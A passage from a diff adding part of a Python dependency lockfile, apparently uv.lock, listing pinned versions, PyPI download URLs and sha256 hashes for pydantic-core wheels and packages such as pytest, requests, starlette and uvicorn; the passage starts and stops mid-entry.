"https://files.pythonhosted.org/packages/a1/a3/09d929a40e6727274b0b500ad06e1b3f35d4f4665ae1c8ba65acbb17e9b5/pydantic_core-2.46.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a641cb1e74b44c418adaf9f5f450670dbec53511f030d8cde8d8accb66edc363", size = 2096527, upload-time = "2026-04-15T14:53:14.766Z" }, + { url = "https://files.pythonhosted.org/packages/89/ae/544c3a82456ebc254a9fcbe2715bab76c70acf9d291aaea24391147943e4/pydantic_core-2.46.1-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:191e7a122ab14eb12415fe3f92610fc06c7f1d2b4b9101d24d490d447ac92506", size = 2170407, upload-time = "2026-04-15T14:51:27.138Z" }, + { url = "https://files.pythonhosted.org/packages/9d/ce/0dfd881c7af4c522f47b325707bd9a2cdcf4f40e4f2fd30df0e9a3e8d393/pydantic_core-2.46.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4fe4ff660f7938b5d92f21529ce331b011aa35e481ab64b7cd03f52384e544bb", size = 2188578, upload-time = "2026-04-15T14:50:39.655Z" }, + { url = "https://files.pythonhosted.org/packages/a1/e9/980ea2a6d5114dd1a62ecc5f56feb3d34555f33bd11043f042e5f7f0724a/pydantic_core-2.46.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:18fcea085b3adc3868d8d19606da52d7a52d8bccd8e28652b0778dbe5e6a6660", size = 2188959, upload-time = "2026-04-15T14:52:42.243Z" }, + { url = "https://files.pythonhosted.org/packages/e7/f1/595e0f50f4bfc56cde2fe558f2b0978f29f2865da894c6226231e17464a5/pydantic_core-2.46.1-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:e8e589e7c9466e022d79e13c5764c2239b2e5a7993ba727822b021234f89b56b", size = 2339973, upload-time = "2026-04-15T14:52:10.642Z" }, + { url = "https://files.pythonhosted.org/packages/49/44/be9f979a6ab6b8c36865ccd92c3a38a760c66055e1f384665f35525134c4/pydantic_core-2.46.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:f78eb3d4027963bdc9baccd177f02a98bf8714bc51fe17153d8b51218918b5bc", size = 2385228, upload-time = "2026-04-15T14:51:00.77Z" }, + { url = "https://files.pythonhosted.org/packages/5b/d4/c826cd711787d240219f01d0d3ca116cb55516b8b95277820aa9c85e1882/pydantic_core-2.46.1-cp312-cp312-win32.whl", hash = "sha256:54fe30c20cab03844dc63bdc6ddca67f74a2eb8482df69c1e5f68396856241be", size = 1978828, upload-time = "2026-04-15T14:50:29.362Z" }, + { url = "https://files.pythonhosted.org/packages/22/05/8a1fcf8181be4c7a9cfc34e5fbf2d9c3866edc9dfd3c48d5401806e0a523/pydantic_core-2.46.1-cp312-cp312-win_amd64.whl", hash = "sha256:aea4e22ed4c53f2774221435e39969a54d2e783f4aee902cdd6c8011415de893", size = 2070015, upload-time = "2026-04-15T14:49:47.301Z" }, + { url = "https://files.pythonhosted.org/packages/61/d5/fea36ad2882b99c174ef4ffbc7ea6523f6abe26060fbc1f77d6441670232/pydantic_core-2.46.1-cp312-cp312-win_arm64.whl", hash = "sha256:f76fb49c34b4d66aa6e552ce9e852ea97a3a06301a9f01ae82f23e449e3a55f8", size = 2030176, upload-time = "2026-04-15T14:50:47.307Z" }, + { url = "https://files.pythonhosted.org/packages/ff/d2/bda39bad2f426cb5078e6ad28076614d3926704196efe0d7a2a19a99025d/pydantic_core-2.46.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:cdc8a5762a9c4b9d86e204d555444e3227507c92daba06259ee66595834de47a", size = 2119092, upload-time = "2026-04-15T14:49:50.392Z" }, + { url = "https://files.pythonhosted.org/packages/ee/f3/69631e64d69cb3481494b2bddefe0ddd07771209f74e9106d066f9138c2a/pydantic_core-2.46.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:ba381dfe9c85692c566ecb60fa5a77a697a2a8eebe274ec5e4d6ec15fafad799", size = 1951400, upload-time = "2026-04-15T14:51:06.588Z" }, + { url = "https://files.pythonhosted.org/packages/53/1c/21cb3db6ae997df31be8e91f213081f72ffa641cb45c89b8a1986832b1f9/pydantic_core-2.46.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1593d8de98207466dc070118322fef68307a0cc6a5625e7b386f6fdae57f9ab6", size = 1976864, upload-time = "2026-04-15T14:50:54.804Z" }, + { url = "https://files.pythonhosted.org/packages/91/9c/05c819f734318ce5a6ca24da300d93696c105af4adb90494ee571303afd8/pydantic_core-2.46.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8262c74a1af5b0fdf795f5537f7145785a63f9fbf9e15405f547440c30017ed8", size = 2066669, upload-time = "2026-04-15T14:51:42.346Z" }, + { url = "https://files.pythonhosted.org/packages/cb/23/fadddf1c7f2f517f58731aea9b35c914e6005250f08dac9b8e53904cdbaa/pydantic_core-2.46.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4b88949a24182e83fbbb3f7ca9b7858d0d37b735700ea91081434b7d37b3b444", size = 2238737, upload-time = "2026-04-15T14:50:45.558Z" }, + { url = "https://files.pythonhosted.org/packages/23/07/0cd4f95cb0359c8b1ec71e89c3777e7932c8dfeb9cd54740289f310aaead/pydantic_core-2.46.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b8f3708cd55537aeaf3fd0ea55df0d68d0da51dcb07cbc8508745b34acc4c6e0", size = 2316258, upload-time = "2026-04-15T14:51:08.471Z" }, + { url = "https://files.pythonhosted.org/packages/0c/40/6fc24c3766a19c222a0d60d652b78f0283339d4cd4c173fab06b7ee76571/pydantic_core-2.46.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f79292435fff1d4f0c18d9cfaf214025cc88e4f5104bfaed53f173621da1c743", size = 2097474, upload-time = "2026-04-15T14:49:56.543Z" }, + { url = "https://files.pythonhosted.org/packages/4b/af/f39795d1ce549e35d0841382b9c616ae211caffb88863147369a8d74fba9/pydantic_core-2.46.1-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:a2e607aeb59cf4575bb364470288db3b9a1f0e7415d053a322e3e154c1a0802e", size = 2168383, upload-time = "2026-04-15T14:51:29.269Z" }, + { url = "https://files.pythonhosted.org/packages/e6/32/0d563f74582795779df6cc270c3fc220f49f4daf7860d74a5a6cda8491ff/pydantic_core-2.46.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ec5ca190b75878a9f6ae1fc8f5eb678497934475aef3d93204c9fa01e97370b6", size = 2186182, upload-time = "2026-04-15T14:50:19.097Z" }, + { url = "https://files.pythonhosted.org/packages/5c/07/1c10d5ce312fc4cf86d1e50bdcdbb8ef248409597b099cab1b4bb3a093f7/pydantic_core-2.46.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:1f80535259dcdd517d7b8ca588d5ca24b4f337228e583bebedf7a3adcdf5f721", size = 2187859, upload-time = "2026-04-15T14:49:22.974Z" }, + { url = "https://files.pythonhosted.org/packages/92/01/e1f62d4cb39f0913dbf5c95b9b119ef30ddba9493dff8c2b012f0cdd67dc/pydantic_core-2.46.1-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:24820b3c82c43df61eca30147e42853e6c127d8b868afdc0c162df829e011eb4", size = 2338372, upload-time = "2026-04-15T14:49:53.316Z" }, + { url = "https://files.pythonhosted.org/packages/44/ed/218dfeea6127fb1781a6ceca241ec6edf00e8a8933ff331af2215975a534/pydantic_core-2.46.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:f12794b1dd8ac9fb66619e0b3a0427189f5d5638e55a3de1385121a9b7bf9b39", size = 2384039, upload-time = "2026-04-15T14:53:04.929Z" }, + { url = "https://files.pythonhosted.org/packages/6c/1e/011e763cd059238249fbd5780e0f8d0b04b47f86c8925e22784f3e5fc977/pydantic_core-2.46.1-cp313-cp313-win32.whl", hash = "sha256:9bc09aed935cdf50f09e908923f9efbcca54e9244bd14a5a0e2a6c8d2c21b4e9", size = 1977943, upload-time = "2026-04-15T14:52:17.969Z" }, + { url = "https://files.pythonhosted.org/packages/8c/06/b559a490d3ed106e9b1777b8d5c8112dd8d31716243cd662616f66c1f8ea/pydantic_core-2.46.1-cp313-cp313-win_amd64.whl", hash = "sha256:fac2d6c8615b8b42bee14677861ba09d56ee076ba4a65cfb9c3c3d0cc89042f2", size = 2068729, upload-time = "2026-04-15T14:53:07.288Z" }, + { url = "https://files.pythonhosted.org/packages/9f/52/32a198946e2e19508532aa9da02a61419eb15bd2d96bab57f810f2713e31/pydantic_core-2.46.1-cp313-cp313-win_arm64.whl", hash = "sha256:f978329f12ace9f3cb814a5e44d98bbeced2e36f633132bafa06d2d71332e33e", size = 2029550, upload-time = "2026-04-15T14:52:22.707Z" }, + { url = "https://files.pythonhosted.org/packages/bd/2b/6793fe89ab66cb2d3d6e5768044eab80bba1d0fae8fd904d0a1574712e17/pydantic_core-2.46.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:9917cb61effac7ec0f448ef491ec7584526d2193be84ff981e85cbf18b68c42a", size = 2118110, upload-time = "2026-04-15T14:50:52.947Z" }, + { url = "https://files.pythonhosted.org/packages/d2/87/e9a905ddfcc2fd7bd862b340c02be6ab1f827922822d425513635d0ac774/pydantic_core-2.46.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0e749679ca9f8a9d0bff95fb7f6b57bb53f2207fa42ffcc1ec86de7e0029ab89", size = 1948645, upload-time = "2026-04-15T14:51:55.577Z" }, + { url = "https://files.pythonhosted.org/packages/15/23/26e67f86ed62ac9d6f7f3091ee5220bf14b5ac36fb811851d601365ef896/pydantic_core-2.46.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2ecacee70941e233a2dad23f7796a06f86cc10cc2fbd1c97c7dd5b5a79ffa4f", size = 1977576, upload-time = "2026-04-15T14:49:37.58Z" }, + { url = "https://files.pythonhosted.org/packages/b8/78/813c13c0de323d4de54ee2e6fdd69a0271c09ac8dd65a8a000931aa487a5/pydantic_core-2.46.1-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:647d0a2475b8ed471962eed92fa69145b864942f9c6daa10f95ac70676637ae7", size = 2060358, upload-time = "2026-04-15T14:51:40.087Z" }, + { url = "https://files.pythonhosted.org/packages/09/5e/4caf2a15149271fbd2b4d968899a450853c800b85152abcf54b11531417f/pydantic_core-2.46.1-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac9cde61965b0697fce6e6cc372df9e1ad93734828aac36e9c1c42a22ad02897", size = 2235980, upload-time = "2026-04-15T14:50:34.535Z" }, + { url = "https://files.pythonhosted.org/packages/c2/c1/a2cdabb5da6f5cb63a3558bcafffc20f790fa14ccffbefbfb1370fadc93f/pydantic_core-2.46.1-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0a2eb0864085f8b641fb3f54a2fb35c58aff24b175b80bc8a945050fcde03204", size = 2316800, upload-time = "2026-04-15T14:52:46.999Z" }, + { url = "https://files.pythonhosted.org/packages/76/fd/19d711e4e9331f9d77f222bffc202bf30ea0d74f6419046376bb82f244c8/pydantic_core-2.46.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b83ce9fede4bc4fb649281d9857f06d30198b8f70168f18b987518d713111572", size = 2101762, upload-time = "2026-04-15T14:49:24.278Z" }, + { url = "https://files.pythonhosted.org/packages/dc/64/ce95625448e1a4e219390a2923fd594f3fa368599c6b42ac71a5df7238c9/pydantic_core-2.46.1-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:cb33192753c60f269d2f4a1db8253c95b0df6e04f2989631a8cc1b0f4f6e2e92", size = 2167737, upload-time = "2026-04-15T14:50:41.637Z" }, + { url = "https://files.pythonhosted.org/packages/ad/31/413572d03ca3e73b408f00f54418b91a8be6401451bc791eaeff210328e5/pydantic_core-2.46.1-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:96611d51f953f87e1ae97637c01ee596a08b7f494ea00a5afb67ea6547b9f53b", size = 2185658, upload-time = "2026-04-15T14:51:46.799Z" }, + { url = "https://files.pythonhosted.org/packages/36/09/e4f581353bdf3f0c7de8a8b27afd14fc761da29d78146376315a6fedc487/pydantic_core-2.46.1-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:9b176fa55f9107db5e6c86099aa5bfd934f1d3ba6a8b43f714ddeebaed3f42b7", size = 2184154, upload-time = "2026-04-15T14:52:49.629Z" }, + { url = "https://files.pythonhosted.org/packages/1a/a4/d0d52849933f5a4bf1ad9d8da612792f96469b37e286a269e3ee9c60bbb1/pydantic_core-2.46.1-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:79a59f63a4ce4f3330e27e6f3ce281dd1099453b637350e97d7cf24c207cd120", size = 2332379, upload-time = "2026-04-15T14:49:55.009Z" }, + { url = "https://files.pythonhosted.org/packages/30/93/25bfb08fdbef419f73290e573899ce938a327628c34e8f3a4bafeea30126/pydantic_core-2.46.1-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:f200fce071808a385a314b7343f5e3688d7c45746be3d64dc71ee2d3e2a13268", size = 2377964, upload-time = "2026-04-15T14:51:59.649Z" }, + { url = "https://files.pythonhosted.org/packages/15/36/b777766ff83fef1cf97473d64764cd44f38e0d8c269ed06faace9ae17666/pydantic_core-2.46.1-cp314-cp314-win32.whl", hash = "sha256:3a07eccc0559fb9acc26d55b16bf8ebecd7f237c74a9e2c5741367db4e6d8aff", size = 1976450, upload-time = "2026-04-15T14:51:57.665Z" }, + { url = "https://files.pythonhosted.org/packages/7b/4b/4cd19d2437acfc18ca166db5a2067040334991eb862c4ecf2db098c91fbf/pydantic_core-2.46.1-cp314-cp314-win_amd64.whl", hash = "sha256:1706d270309ac7d071ffe393988c471363705feb3d009186e55d17786ada9622", size = 2067750, upload-time = "2026-04-15T14:49:38.941Z" }, + { url = "https://files.pythonhosted.org/packages/7f/a0/490751c0ef8f5b27aae81731859aed1508e72c1a9b5774c6034269db773b/pydantic_core-2.46.1-cp314-cp314-win_arm64.whl", hash = "sha256:22d4e7457ade8af06528012f382bc994a97cc2ce6e119305a70b3deff1e409d6", size = 2021109, upload-time = "2026-04-15T14:50:27.728Z" }, + { url = "https://files.pythonhosted.org/packages/36/3a/2a018968245fffd25d5f1972714121ad309ff2de19d80019ad93494844f9/pydantic_core-2.46.1-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:607ff9db0b7e2012e7eef78465e69f9a0d7d1c3e7c6a84cf0c4011db0fcc3feb", size = 2111548, upload-time = "2026-04-15T14:52:08.273Z" }, + { url = "https://files.pythonhosted.org/packages/77/5b/4103b6192213217e874e764e5467d2ff10d8873c1147d01fa432ac281880/pydantic_core-2.46.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:8cda3eacaea13bd02a1bea7e457cc9fc30b91c5a91245cef9b215140f80dd78c", size = 1926745, upload-time = "2026-04-15T14:50:03.045Z" }, + { url = "https://files.pythonhosted.org/packages/c3/70/602a667cf4be4bec6c3334512b12ae4ea79ce9bfe41dc51be1fd34434453/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9493279cdc7997fe19e5ed9b41f30cbc3806bd4722adb402fedb6f6d41bd72a", size = 1965922, upload-time = "2026-04-15T14:51:12.555Z" }, + { url = "https://files.pythonhosted.org/packages/a9/24/06a89ce5323e755b7d2812189f9706b87aaebe49b34d247b380502f7992c/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3644e5e10059999202355b6c6616e624909e23773717d8f76deb8a6e2a72328c", size = 2043221, upload-time = "2026-04-15T14:51:18.995Z" }, + { url = "https://files.pythonhosted.org/packages/2c/6e/b1d9ad907d9d76964903903349fd2e33c87db4b993cc44713edcad0fc488/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4ad6c9de57683e26c92730991960c0c3571b8053263b042de2d3e105930b2767", size = 2243655, upload-time = "2026-04-15T14:50:10.718Z" }, + { url = "https://files.pythonhosted.org/packages/ef/73/787abfaad51174641abb04c8aa125322279b40ad7ce23c495f5a69f76554/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:557ebaa27c7617e7088002318c679a8ce685fa048523417cd1ca52b7f516d955", size = 2295976, upload-time = "2026-04-15T14:53:09.694Z" }, + { url = "https://files.pythonhosted.org/packages/56/0b/b7c5a631b6d5153d4a1ea4923b139aea256dc3bd99c8e6c7b312c7733146/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3cd37e39b22b796ba0298fe81e9421dd7b65f97acfbb0fb19b33ffdda7b9a7b4", size = 2103439, upload-time = "2026-04-15T14:50:08.32Z" }, + { url = "https://files.pythonhosted.org/packages/2a/3f/952ee470df69e5674cdec1cbde22331adf643b5cc2ff79f4292d80146ee4/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:6689443b59714992e67d62505cdd2f952d6cf1c14cc9fd9aeec6719befc6f23b", size = 2132871, upload-time = "2026-04-15T14:50:24.445Z" }, + { url = "https://files.pythonhosted.org/packages/e3/8b/1dea3b1e683c60c77a60f710215f90f486755962aa8939dbcb7c0f975ac3/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6f32c41ca1e3456b5dd691827b7c1433c12d5f0058cc186afbb3615bc07d97b8", size = 2168658, upload-time = "2026-04-15T14:52:24.897Z" }, + { url = "https://files.pythonhosted.org/packages/67/97/32ae283810910d274d5ba9f48f856f5f2f612410b78b249f302d297816f5/pydantic_core-2.46.1-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:88cd1355578852db83954dc36e4f58f299646916da976147c20cf6892ba5dc43", size = 2171184, upload-time = "2026-04-15T14:52:34.854Z" }, + { url = "https://files.pythonhosted.org/packages/a2/57/c9a855527fe56c2072070640221f53095b0b19eaf651f3c77643c9cabbe3/pydantic_core-2.46.1-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:a170fefdb068279a473cc9d34848b85e61d68bfcc2668415b172c5dfc6f213bf", size = 2316573, upload-time = "2026-04-15T14:52:12.871Z" }, + { url = "https://files.pythonhosted.org/packages/37/b3/14c39ffc7399819c5448007c7bcb4e6da5669850cfb7dcbb727594290b48/pydantic_core-2.46.1-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:556a63ff1006934dba4eed7ea31b58274c227e29298ec398e4275eda4b905e95", size = 2378340, upload-time = "2026-04-15T14:51:02.619Z" }, + { url = "https://files.pythonhosted.org/packages/01/55/a37461fbb29c053ea4e62cfc5c2d56425cb5efbef8316e63f6d84ae45718/pydantic_core-2.46.1-cp314-cp314t-win32.whl", hash = "sha256:3b146d8336a995f7d7da6d36e4a779b7e7dff2719ac00a1eb8bd3ded00bec87b", size = 1960843, upload-time = "2026-04-15T14:52:06.103Z" }, + { url = "https://files.pythonhosted.org/packages/22/d7/97e1221197d17a27f768363f87ec061519eeeed15bbd315d2e9d1429ff03/pydantic_core-2.46.1-cp314-cp314t-win_amd64.whl", hash = "sha256:f1bc856c958e6fe9ec071e210afe6feb695f2e2e81fd8d2b102f558d364c4c17", size = 2048696, upload-time = "2026-04-15T14:52:52.154Z" }, + { url = "https://files.pythonhosted.org/packages/19/d5/4eac95255c7d35094b46a32ec1e4d80eac94729c694726ee1d69948bd5f0/pydantic_core-2.46.1-cp314-cp314t-win_arm64.whl", hash = "sha256:21a5bfd8a1aa4de60494cdf66b0c912b1495f26a8899896040021fbd6038d989", size = 2022343, upload-time = "2026-04-15T14:49:49.036Z" }, + { url = "https://files.pythonhosted.org/packages/f4/97/95de673a1356a88b2efdaa120eb6af357a81555c35f6809a7a1423ff7aef/pydantic_core-2.46.1-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:5f9107a24a4bc00293434dfa95cf8968751ad0dd703b26ea83a75a56f7326041", size = 2107564, upload-time = "2026-04-15T14:50:49.14Z" }, + { url = "https://files.pythonhosted.org/packages/00/fc/a7c16d85211ea9accddc693b7d049f20b0c06440d9264d1e1c074394ee6c/pydantic_core-2.46.1-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:2b1801ba99876984d0a03362782819238141c4d0f3f67f69093663691332fc35", size = 1939925, upload-time = "2026-04-15T14:50:36.188Z" }, + { url = "https://files.pythonhosted.org/packages/2e/23/87841169d77820ddabeb81d82002c95dcb82163846666d74f5bdeeaec750/pydantic_core-2.46.1-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b7fd82a91a20ed6d54fa8c91e7a98255b1ff45bf09b051bfe7fe04eb411e232e", size = 1995313, upload-time = "2026-04-15T14:50:22.538Z" }, + { url = "https://files.pythonhosted.org/packages/ea/96/b46609359a354fa9cd336fc5d93334f1c358b756cc81e4b397347a88fa6f/pydantic_core-2.46.1-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f135bf07c92c93def97008bc4496d16934da9efefd7204e5f22a2c92523cb1f", size = 2151197, upload-time = "2026-04-15T14:51:22.925Z" }, +] + +[[package]] +name = "pygments" +version = "2.20.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" }, +] + +[[package]] +name = "pytest" +version = "9.0.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7d/0d/549bd94f1a0a402dc8cf64563a117c0f3765662e2e668477624baeec44d5/pytest-9.0.3.tar.gz", hash = "sha256:b86ada508af81d19edeb213c681b1d48246c1a91d304c6c81a427674c17eb91c", size = 1572165, upload-time = "2026-04-07T17:16:18.027Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d4/24/a372aaf5c9b7208e7112038812994107bc65a84cd00e0354a88c2c77a617/pytest-9.0.3-py3-none-any.whl", hash = "sha256:2c5efc453d45394fdd706ade797c0a81091eccd1d6e4bccfcd476e2b8e0ab5d9", size = 375249, upload-time = "2026-04-07T17:16:16.13Z" }, +] + +[[package]] +name = "python-dotenv" +version = "1.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, +] + +[[package]] +name = "requests" +version = "2.33.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5f/a4/98b9c7c6428a668bf7e42ebb7c79d576a1c3c1e3ae2d47e674b468388871/requests-2.33.1.tar.gz", hash = "sha256:18817f8c57c6263968bc123d237e3b8b08ac046f5456bd1e307ee8f4250d3517", size = 134120, upload-time = "2026-03-30T16:09:15.531Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d7/8e/7540e8a2036f79a125c1d2ebadf69ed7901608859186c856fa0388ef4197/requests-2.33.1-py3-none-any.whl", hash = "sha256:4e6d1ef462f3626a1f0a0a9c42dd93c63bad33f9f1c1937509b8c5c8718ab56a", size = 64947, upload-time = "2026-03-30T16:09:13.83Z" }, +] + +[[package]] +name = "sgmllib3k" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9e/bd/3704a8c3e0942d711c1299ebf7b9091930adae6675d7c8f476a7ce48653c/sgmllib3k-1.0.0.tar.gz", hash = "sha256:7868fb1c8bfa764c1ac563d3cf369c381d1325d36124933a726f29fcdaa812e9", size = 5750, upload-time = "2010-08-24T14:33:52.445Z" } + +[[package]] +name = "starlette" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/81/69/17425771797c36cded50b7fe44e850315d039f28b15901ab44839e70b593/starlette-1.0.0.tar.gz", hash = "sha256:6a4beaf1f81bb472fd19ea9b918b50dc3a77a6f2e190a12954b25e6ed5eea149", size = 2655289, upload-time = "2026-03-22T18:29:46.779Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/c9/584bc9651441b4ba60cc4d557d8a547b5aff901af35bda3a4ee30c819b82/starlette-1.0.0-py3-none-any.whl", hash = "sha256:d3ec55e0bb321692d275455ddfd3df75fff145d009685eb40dc91fc66b03d38b", size = 72651, upload-time = "2026-03-22T18:29:45.111Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "urllib3" +version = "2.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" }, +] + +[[package]] +name = "uvicorn" +version = "0.44.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5e/da/6eee1ff8b6cbeed47eeb5229749168e81eb4b7b999a1a15a7176e51410c9/uvicorn-0.44.0.tar.gz", hash = "sha256:6c942071b68f07e178264b9152f1f16dfac5da85880c4ce06366a96d70d4f31e", size = 86947, upload-time = "2026-04-06T09:23:22.826Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/23/a5bbd9600dd607411fa644c06ff4951bec3a4d82c4b852374024359c19c0/uvicorn-0.44.0-py3-none-any.whl", hash = "sha256:ce937c99a2cc70279556967274414c087888e8cec9f9c94644dfca11bd3ced89", size = 